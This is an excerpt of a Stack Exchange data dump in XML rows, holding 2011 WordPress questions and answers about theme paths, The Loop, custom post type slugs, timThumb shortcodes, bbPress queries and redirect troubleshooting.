  <row Id="12873" PostTypeId="2" ParentId="12869" CreationDate="2011-03-23T22:32:52.200" Score="4" ViewCount="" Body="&lt;p&gt;there are a few way you can do that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Page_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; - each page with is own theme file using page-{ID/slug}.php&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;Custom  Page Templates&lt;/a&gt; - Individual Pages can be set to use a specific custom Page Template from the edit screen.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but if you are just looking to change whats on the sidebar then there are a few plugins that can help you with that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; -  lets you control on which pages widgets appear.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/dynamic-widgets/&quot; rel=&quot;nofollow&quot;&gt;Dynamic Widgets&lt;/a&gt; - lets you dynamicly place the widgets on WordPress pages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and there are even plugins that let you display the whole sidebar on a page to page basis:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-generator/&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/per-page-sidebars/&quot; rel=&quot;nofollow&quot;&gt;Per Page Sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-sidebars/&quot; rel=&quot;nofollow&quot;&gt;Custom sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T22:32:52.200" CommentCount="1" />
  <row Id="12874" PostTypeId="2" ParentId="12871" CreationDate="2011-03-23T22:36:53.957" Score="2" ViewCount="" Body="&lt;p&gt;There is no THEMEPATH constant, but you can use the &lt;code&gt;get_theme_root_uri()&lt;/code&gt; function to retrieve the path to the themes folder.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-23T22:36:53.957" CommentCount="2" />
  <row Id="12875" PostTypeId="2" ParentId="12871" CreationDate="2011-03-23T22:37:50.183" Score="0" ViewCount="" Body="&lt;p&gt;You can use the constant &lt;code&gt;ABSPATH&lt;/code&gt; and just append to it &lt;code&gt;wp-content/themes/&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ABSPATH . &quot;wp-content/themes/&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-23T22:37:50.183" CommentCount="4" />
  <row Id="12876" PostTypeId="2" ParentId="12862" CreationDate="2011-03-23T22:47:52.113" Score="0" ViewCount="" Body="&lt;p&gt;&quot;The loop&quot; is just a name applied to a foreach loop applied to a WP_Query object.&#xA;So you need both. Typically the loop also includes the_post() so that you can use template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another option though, that may be faster. Depending on what you need to do, you &lt;em&gt;could&lt;/em&gt; do a direct database query to retrieve just the fields you want to edit. But since you also need categories and meta tags it would be a complicated join. For easier updates and backward compatability, you may as well use the regular WP_Query.&lt;/p&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2011-03-23T22:47:52.113" />
  <row Id="12877" PostTypeId="2" ParentId="12871" CreationDate="2011-03-23T22:51:04.920" Score="1" ViewCount="" Body="&lt;p&gt;WP_CONTENT_DIR and WP_CONTENT_URL as well as content_url() get you most of the way there.&lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-23T22:51:04.920" />
  <row Id="12878" PostTypeId="2" ParentId="12862" CreationDate="2011-03-23T22:51:23.970" Score="3" ViewCount="" Body="&lt;p&gt;&quot;The Loop&quot; is just a name given to the &lt;code&gt;while (have_posts()): the_post();&lt;/code&gt; loop used to iterate over an array of posts returned by &lt;code&gt;WP_Query()&lt;/code&gt;. The other function used for querying posts is the get_posts() function, which returns a simple (non-extended) array which you can loop through with a &lt;code&gt;foreach&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it matters a whole lot; however, if you're nitpicking, the &lt;code&gt;get_posts()&lt;/code&gt; method is slightly faster and less memory-intensive, since it doesn't call &lt;code&gt;setup_postdata()&lt;/code&gt; (which populates the template tags, etc.) on every post it loops through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, you're probably going to run out of memory on some setups with thousands of posts... Make sure you build in fallbacks in that case. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-23T22:51:23.970" CommentCount="6" />
  <row Id="12879" PostTypeId="2" ParentId="12871" CreationDate="2011-03-23T23:12:29.277" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;dirname( STYLESHEETPATH );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will return the theme directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Never&lt;/strong&gt; assume &lt;code&gt;/wp-content/&lt;/code&gt; below ABSPATH. I’m using often a different directory and domain for &lt;code&gt;wp-content&lt;/code&gt; to enable cookieless requests to theme files. Bad plugins and themes break terribly in such cases.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Addendum&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Or use &lt;code&gt;get_theme_root()&lt;/code&gt; for the file path and &lt;code&gt;get_theme_root_uri()&lt;/code&gt; for the URI. Both are defined in &lt;code&gt;wp-includes/theme.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-25T00:22:13.110" LastActivityDate="2011-03-25T00:22:13.110" CommentCount="4" />
  <row Id="12880" PostTypeId="2" ParentId="12851" CreationDate="2011-03-23T23:39:12.667" Score="1" ViewCount="" Body="&lt;p&gt;I made my own, but I only included the basic parameters. Just place this code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file. You will need to update the path to timThumb.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [timThumb id=&quot;123&quot; w=&quot;300&quot;]&#xA;function timThumb_func( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'id' =&amp;gt; '',&#xA;        'w' =&amp;gt; '',&#xA;        'h' =&amp;gt; '',&#xA;        'q' =&amp;gt; '90'&#xA;    ), $atts ) );&#xA;&#xA;    $timThumbPath = 'Path/to/timThumb.php';&#xA;    $image = wp_get_attachment_image_src( $id );&#xA;&#xA;    if(!$image) {&#xA;        return&#xA;    } else {&#xA;        return '&amp;lt;img src=&quot;'.$timThumbPath.'?src='.$image[0].'&amp;amp;w='.$w.'&amp;amp;h='.$h.'&amp;amp;q='.$q.'&quot; /&amp;gt;';&#xA;    }&#xA;}&#xA;add_shortcode( 'timThumb', 'timThumb_func' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-23T23:39:12.667" />
  <row Id="12881" PostTypeId="2" ParentId="12866" CreationDate="2011-03-23T23:46:22.133" Score="3" ViewCount="" Body="&lt;p&gt;Have you looked at the function &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-admin/includes/media.php.source.html#l241&quot; rel=&quot;nofollow&quot;&gt;media_handle_sideload()&lt;/a&gt;? It seems to be what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works essentially the same way as media_handle_upload(), but takes a file thats already on the local server, moves it to the current uploads directory, and generates the post record necessary to add it to the Media Manager.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-23T23:46:22.133" CommentCount="5" />
  <row Id="12882" PostTypeId="2" ParentId="12851" CreationDate="2011-03-24T00:27:57.353" Score="0" ViewCount="" Body="&lt;p&gt;You might want to try this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://austinmatzko.com/wordpress-plugins/filosofo-custom-image-sizes/&quot; rel=&quot;nofollow&quot;&gt;http://austinmatzko.com/wordpress-plugins/filosofo-custom-image-sizes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4168" LastActivityDate="2011-03-24T00:27:57.353" />
  <row Id="12884" PostTypeId="1" CreationDate="2011-03-24T01:08:51.517" Score="0" ViewCount="403" Body="&lt;p&gt;On www.webhostingbreak.com I have custom post types for web hosting companies.&#xA;Their url is /hosting-directory/ and unfortunately, since then (aug2010), we've still got all those pages at PR0 and rankings overall have been terrible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only guess I have is that because visiting /hosting-directory/ causes a 404 error, Google might not see pagerank flowing from the root domain to a subpage of hosting-directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to remove /hosting-directory/ altogether. We tried doing that but we couldn't get normal posts in a category to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workaround for this? Custom post types destroyed our rankings and pagerank since august 2010. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be well and talk soon.&lt;/p&gt;&#xA;" OwnerUserId="4169" LastActivityDate="2011-03-24T12:36:02.157" Title="Remove Slug From Custom Post Type URL?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12885" PostTypeId="2" ParentId="12884" CreationDate="2011-03-24T02:20:55.077" Score="1" ViewCount="" Body="&lt;p&gt;If you want to remove the slug you need to do one of two (2) things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Stop using custom post types because you don't seem to understand what they are or are meant to be used for. Use pages instead. They already do EXACTLY what you want to do, permalinks-wise.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a custom rewrite rule for each and every individual 'hosting company' added in the admin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule('(the-post-slug)/?$','index.php?&amp;lt;post type&amp;gt;=$matches[1]','top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should add this to your theme's functions.php file or in a plugin; I'd suggest a &lt;a href=&quot;http://wpmututorials.com/basics/what-is-the-mu-plugins-folder/&quot; rel=&quot;nofollow&quot;&gt;mu-plugin&lt;/a&gt;, personally. You could even automate this programmatically, but that would end up costing an extra database query per page load. Just make sure you don't run those before the &lt;code&gt;'setup_theme'&lt;/code&gt; hook (the rewrite API isn't initialized before that hook). Hooking on &lt;code&gt;'init'&lt;/code&gt; would be plenty safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would have to flush the rewrite rules by going to &lt;code&gt;/wp-admin/options-permalinks.php&lt;/code&gt; &lt;em&gt;(just visiting the page is enough.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-24T12:36:02.157" LastActivityDate="2011-03-24T12:36:02.157" CommentCount="2" />
  <row Id="12886" PostTypeId="2" ParentId="2823" CreationDate="2011-03-24T02:47:23.243" Score="1" ViewCount="" Body="&lt;p&gt;This worked for me. I just went into cpanel /file manager and created a new php.ini file. Then i entered the text below:&#xA;upload_max_filesize = 10M&#xA;post_max_size = 10M&#xA;max_execution_time = 300 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works 100%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just put the php.ini file in the wp-admin directory&lt;/p&gt;&#xA;" OwnerUserId="4171" LastActivityDate="2011-03-24T02:47:23.243" CommentCount="1" />
  <row Id="12888" PostTypeId="1" CreationDate="2011-03-24T03:51:36.857" Score="0" ViewCount="85" Body="&lt;p&gt;I've got a WP3 custom menu, with a custom link in the menu, How can I add google analytics event tracking to that custom link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="4173" LastActivityDate="2011-05-02T23:42:59.813" Title="wp_nav_menu google analytics event tracking" Tags="&lt;3.0&gt;&lt;custom-menus&gt;&lt;google-analytics&gt;" AnswerCount="1" />
  <row Id="12889" PostTypeId="1" CreationDate="2011-03-24T04:03:55.843" Score="1" ViewCount="102" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6542/load-balanced-wp-with-single-server-admin-access&quot;&gt;Load Balanced WP with single server admin access&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I am planning to install wordpress in a multi-server environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 load balancers/front end servers with a database server. Using CDN for all gallery uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas if this is going to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tutorial or article explaining this process?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-03-24T11:57:00.000" LastActivityDate="2011-03-24T11:57:00.000" ClosedDate="2011-03-29T14:14:12.570" Title="Will WP work on a multi-server environment?" Tags="&lt;multisite&gt;&lt;hosting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12890" PostTypeId="1" AcceptedAnswerId="12906" CreationDate="2011-03-24T04:58:16.127" Score="0" ViewCount="80" Body="&lt;p&gt;I'm using bbPress. I'm in a single page of the custom post type &lt;code&gt;bbp_topic&lt;/code&gt;. As you can imagine this custom post type stores another custom post type called &lt;code&gt;bbp_reply&lt;/code&gt;. I'm using the following query to list the most voted replies at the top (like Youtube), helped by the GD start rating plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;        &amp;lt;?php $custom_posts-&amp;gt;query('gdsr_sort=thumbs&amp;amp;post_type=bbp_reply&amp;amp;posts_per_page=2'); ?&amp;gt;&#xA;        &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the query is listing all the replies from all the &lt;code&gt;bbp_topic&lt;/code&gt; custom post type. I need to query something like this: list all the custom post types &lt;code&gt;bbp_reply&lt;/code&gt; from this single &lt;code&gt;bbp_topic&lt;/code&gt; custom post type you are viewing right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know how to get the ID of the current &lt;code&gt;bbp_topic&lt;/code&gt; custom post type: &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; but I'm not very sure how to use it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T10:42:31.203" LastActivityDate="2011-03-24T10:42:31.203" Title="Query for bbPress replies to current topic?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="12892" PostTypeId="1" AcceptedAnswerId="12928" CreationDate="2011-03-24T06:03:12.180" Score="1" ViewCount="220" Body="&lt;p&gt;This correctly sort posts by thumbs vote (&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD star rating&lt;/a&gt; plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('gdsr_sort=thumbs&amp;amp;post_type=bbp_reply&amp;amp;posts_per_page=2&amp;amp;post_parent='.$post-&amp;gt;ID); ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php  the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't sort them at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;        &amp;lt;?php $custom_posts-&amp;gt;query('gdsr_sort=thumbs&amp;amp;post_type=bbp_reply&amp;amp;posts_per_page=2&amp;amp;post_parent='.$post-&amp;gt;ID); ?&amp;gt;&#xA;        &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'avatar' ) ); ?&amp;gt;&#xA;                    &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'name' ) ); ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:59:00.607" LastActivityDate="2011-04-23T13:41:19.357" Title="Why is that gdsr_sort=thumbs (GD start rating plugin) only works with query_posts and not with WP_Query?" Tags="&lt;query-posts&gt;&lt;plugin-gd-star-rating&gt;" AnswerCount="1" />
  <row Id="12893" PostTypeId="2" ParentId="12889" CreationDate="2011-03-24T06:07:11.813" Score="0" ViewCount="" Body="&lt;p&gt;As long as they both respond to the same domain, you shouldn't have any problems with it at all.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-24T06:07:11.813" />
  <row Id="12895" PostTypeId="1" CreationDate="2011-03-24T06:26:59.350" Score="1" ViewCount="262" Body="&lt;p&gt;No matter what I do, I can't seem to get the NextGen plugin check to work. The plugin used to work but now won't load at all. I get this error on the plugin check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check theme compatibility&#xA;Missing the call to in your theme &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked on the net and came up with this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-nextgen-gallery-missing-the-call-to-in-your-theme-after-switching-to-new-theme&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-nextgen-gallery-missing-the-call-to-in-your-theme-after-switching-to-new-theme&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And added the:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add  to your &quot;header.php&quot; right before &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add  to your &quot;footer.php&quot; right before &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;as it stated in the thread. However, the plugin check still gives the error above (and consequently will not work -- it won't work anywhere on the site). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions on what to try next? The site I am supporting is &lt;a href=&quot;http://cdnsba.org/&quot; rel=&quot;nofollow&quot;&gt;http://cdnsba.org/&lt;/a&gt; and you can see a big white space on the front left where the slideshow used to work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a hunch that something is clashing with jQuery since it looks like the &quot;Featured&quot; section on the right doesn't scroll anymore either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Adam&lt;/p&gt;&#xA;" OwnerUserId="3989" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:04:30.807" LastActivityDate="2011-08-26T15:35:04.857" Title="NextGen plugin check failing, why?" Tags="&lt;jquery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="12896" PostTypeId="2" ParentId="12760" CreationDate="2011-03-24T06:36:28.917" Score="0" ViewCount="" Body="&lt;p&gt;There's a problem with your regex - it will match a string of &quot;92&quot; then 2, 3 or 5, but the last two characters can be anything - including letters. You're not specifying digits for the regex. You probably want something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var myRegExp = /^92(2|3|5)\d+$/;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you need to make a decision as to whether you want to do this in PHP or Javascript - you can't do both, unless you're using an AJAX call to retrieve the price. (There's no reason to do it twice anyways.) @editor's script looks right (apart from the regex not checking for digits) for a PHP solution, but by your description, it sounds like you're looking for a Javascript solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you opt for the Javascript pricing and actually have the prices in the source of the code, you might end up with some pissed off people wondering why they're paying more for the same item than someone from a different zip code.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-24T06:36:28.917" />
  <row Id="12897" PostTypeId="1" AcceptedAnswerId="12898" CreationDate="2011-03-24T06:50:37.797" Score="1" ViewCount="30" Body="&lt;p&gt;How would I grab a photo, that has been added to a post, and use it elsewhere on a site when there have been several photos added to the post? For example, my site has a blog (Wordpress) and a non-blog section. I want to pull one image from my latest post for use in this non-blog section. Keep in mind that there might be multiple photos associated with the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick to me seems to be how to designate one specific photo of however many are associated with a post as &quot;the photo&quot; that will be used in the non-blog portion of the site. Ideas? Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4176" LastActivityDate="2011-03-24T07:12:43.307" Title="Special purpose photos with each post" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12898" PostTypeId="2" ParentId="12897" CreationDate="2011-03-24T07:12:43.307" Score="2" ViewCount="" Body="&lt;p&gt;Well one photo can be assigned as the thumbnail as you can see in the post editor screen. Otherwise as the comment above suggested create a post meta field for example 'my_post_image' and place the id of the image attachment in that field. That is how WordPress saves the post thumbnail (look in the database, something like _post_thumbnail is the meta field name).&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2011-03-24T07:12:43.307" />
  <row Id="12899" PostTypeId="1" CreationDate="2011-03-24T07:17:18.637" Score="0" ViewCount="56" Body="&lt;p&gt;Does anyone know of a plugin that exists for users to create lists, working exactly the same way IMDB, amazon etc do where a user can create any number of lists, give a title, and add &quot;posts&quot; (in my case posts are just types of data for example films, actors etc) to those lists.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-24T07:46:35.203" LastActivityDate="2011-03-24T07:46:35.203" Title="Plugin to create lists similar to IMDB or amazon (user lists)" Tags="&lt;plugin-recommendation&gt;&lt;lists&gt;" />
  <row Id="12900" PostTypeId="1" AcceptedAnswerId="12902" CreationDate="2011-03-24T07:19:33.737" Score="1" ViewCount="40" Body="&lt;p&gt;I am integrating a payment gateway into a distributed wordpress plugin.  The notification page (page that the gateway sends info to after the payment has been made) requires only a message of &quot;success&quot; or &quot;fail&quot; to be printed.  In that page, I need access to the database and some org options.  Can someone please tell me how to produce such a page (i.e. no menu, no header, no footer and etc.)?  The gateway in question is alipay.&lt;/p&gt;&#xA;" OwnerUserId="4177" LastActivityDate="2011-03-24T07:30:41.180" Title="Produce a plain page with only a message" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="12901" PostTypeId="2" ParentId="11717" CreationDate="2011-03-24T07:27:34.927" Score="3" ViewCount="" Body="&lt;p&gt;Dirty hack, feel free to modify. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only admins or users with edit_users cap &quot;can change&quot; email, others can't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theme functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Edit_Email {&#xA;    function start() {&#xA;        ob_start();&#xA;    }&#xA;&#xA;    function footer() {&#xA;        $content = ob_get_contents();&#xA;&#xA;        ob_end_clean();&#xA;&#xA;        $this-&amp;gt;replace( $content );&#xA;&#xA;        echo $content;&#xA;    }&#xA;&#xA;    function replace( &amp;amp;$content ) {&#xA;        $pattern = array(&#xA;            '/E-mail &amp;lt;span.+?&amp;lt;\/span&amp;gt;/',&#xA;            '/&amp;lt;input type=&quot;text&quot;(.*?)value=&quot;(\\S+@\\S+\\.\\w+)[^&amp;gt;]*\/&amp;gt;/'&#xA;        );&#xA;&#xA;        $replacement = array(&#xA;            'E-mail',&#xA;            '&amp;lt;input type=&quot;hidden&quot;\1value=&quot;\2&quot; /&amp;gt; \2 Please Contact Tech support to change your email.'&#xA;        );&#xA;&#xA;        $content = preg_replace( $pattern, $replacement, $content );&#xA;    }&#xA;}&#xA;&#xA;if ( ! current_user_can( 'edit_users' ) &amp;amp;&amp;amp; ( $pagenow == 'profile.php' ) ) :&#xA;    $edit_email = new Edit_Email();&#xA;    $edit_email-&amp;gt;start();&#xA;&#xA;    add_action( 'admin_footer', array( &amp;amp;$edit_email, 'footer' ) );&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-24T07:27:34.927" />
  <row Id="12902" PostTypeId="2" ParentId="12900" CreationDate="2011-03-24T07:30:41.180" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't include &lt;code&gt;get_header()&lt;/code&gt;, &lt;code&gt;get_siderbar()&lt;/code&gt;, &lt;code&gt;get_footer()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-24T07:30:41.180" CommentCount="1" />
  <row Id="12903" PostTypeId="1" CreationDate="2011-03-24T07:58:41.207" Score="2" ViewCount="181" Body="&lt;p&gt;I have tried everything I've found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't stop webhostingbreak.com/ipage/ from redirecting to &#xA;webhostingbreak.com/hosting-directory/ipage-hosting/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried remove_filter('template_redirect', 'redirect_canonical'); in my theme's functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing or commenting out add_action(‘template_redirect’, ‘redirect_canonical’);  in /wp-includes/canonical.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even removed EVERY line of code in canonical.php and still no result... It still redirects like I've done nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed webhostingbreak.com/hosting-directory/ipage-hosting/ to webhostingbreak.com/hosting-directory/test/ and then I cleared the database of any attachements/old slugs that might cause redirect. It STILL redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm out of ideas. I've spend 20 hours trying to find answers on this.&lt;/p&gt;&#xA;" OwnerUserId="4169" LastActivityDate="2011-08-22T20:33:31.240" Title="Stop Wordpress Redirection From /keyword to /some-post-containing-keyword/" Tags="&lt;redirect&gt;&lt;slug&gt;" AnswerCount="2" CommentCount="4" />
